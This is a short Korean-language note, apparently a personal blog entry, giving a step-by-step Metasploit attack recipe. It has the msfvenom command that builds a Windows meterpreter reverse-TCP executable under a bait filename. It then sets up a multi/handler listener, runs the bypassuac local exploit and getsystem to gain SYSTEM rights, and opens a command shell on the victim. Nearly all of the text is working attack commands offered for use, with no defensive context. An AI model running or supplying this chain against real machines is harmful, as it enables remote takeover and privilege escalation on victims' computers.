해킹 페이로드 코드 만들기 다시한번더 올리기
악성 페이로드 만들기
┗ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.99 LPORT=4444 -f exe -o sexy.exe
──────────────
리스너 생성
┗ msfconsole -q
┗ use exploit/multi/handler
┗ set payload windows/meterpreter/reverse_tcp
┗ set LHOST 192.168.0.216
┗ set LPORT 4444
┗ set SESSION 1
┗ run
──────────────
접속자가 페이로드를 다운 받으면 meterpreter > 로 연결 된다.
┗ bg 백그라운드로 이동
┗ use exploit/windows/local/bypassuac 을 이용해 로컬의 권한 상승 exploit 사용
┗ set SESSION 1 을 이용해서 권한을 상승할 세션을 지정.
( sessions 를 이용해 현재 활성화된 세션을 확인하고 사용한다 )
┗ set LHOST 192.168.0.99
┗ set LPORT 4445
┗ run
다른 포트를 지정하고 실행하면 새로운 프롬프트가 뜬다.
──────────────
여기서
┗ getsystem 을 입력하면
...got system via technique 1 ...이 나온다
관리자 권한 획득
──────────────
meterpreter 에서 자체 명령어도 쓸 수 있고
shell 을 입력해서 cmd환경에서 공격할 수도 있다.
이 노트는 로그인하지 않아도
열람할 수 있습니다.
작성·수정·삭제는
관리자 로그인
후 가능합니다.